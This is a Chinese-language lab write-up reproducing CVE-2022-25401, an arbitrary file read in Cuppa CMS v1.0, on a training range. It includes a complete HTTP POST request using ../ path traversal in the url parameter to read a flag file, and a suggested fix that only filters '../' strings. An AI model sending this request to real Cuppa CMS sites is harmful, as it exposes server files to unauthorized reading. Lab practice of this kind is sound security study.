CVE-2022-25401打靶记录
本文是春秋云境靶场打靶记录,题目链接为:https://yunjing.ichunqiu.com/cve/detail/744。
本次URL链接为:http://eci-2ze7jn4tvdrxqg5clsy3.cloudeci1.ichunqiu.com
题目描述:Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php文件存在任意文件读取漏洞
漏洞复现
打开环境,尝试弱密码爆破,不成功,默认账密也无法登录。根据题目提示,开始找对应的php文件,根据https://github.com/CuppaCMS/CuppaCMS/issues/18发现其相对路径为:
/templates/default/html/windows/right.php
尝试拼接url访问,发现成功访问。
注意:这里返回空白页是表示有这个文件的,如果不存在会返回404。
然后开始进行POST获取flag即可。
POST /templates/default/html/windows/right.php HTTP/1.1
Host: 改成你的环境域名,没有https!
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 112
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.174.133
Referer: http://192.168.174.133/cuppa_cms/administrator/
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
id=1&path=component%2Ftable_manager%2Fview%2Fcu_views&uniqueClass=window_right_246232&url=../../../../../../flag
最后,复现完成。
漏洞修复建议
在 ‘/templates/default/html/windows/right.php’ 文件处,第53行建议添加以下代码:
$url = $_POST["url"];
if(strstr($url, "../") || strstr($url, "..\\")){
echo "Security attack!";
exit;
}
include realpath(DIR . '/../../../..')."/".$url;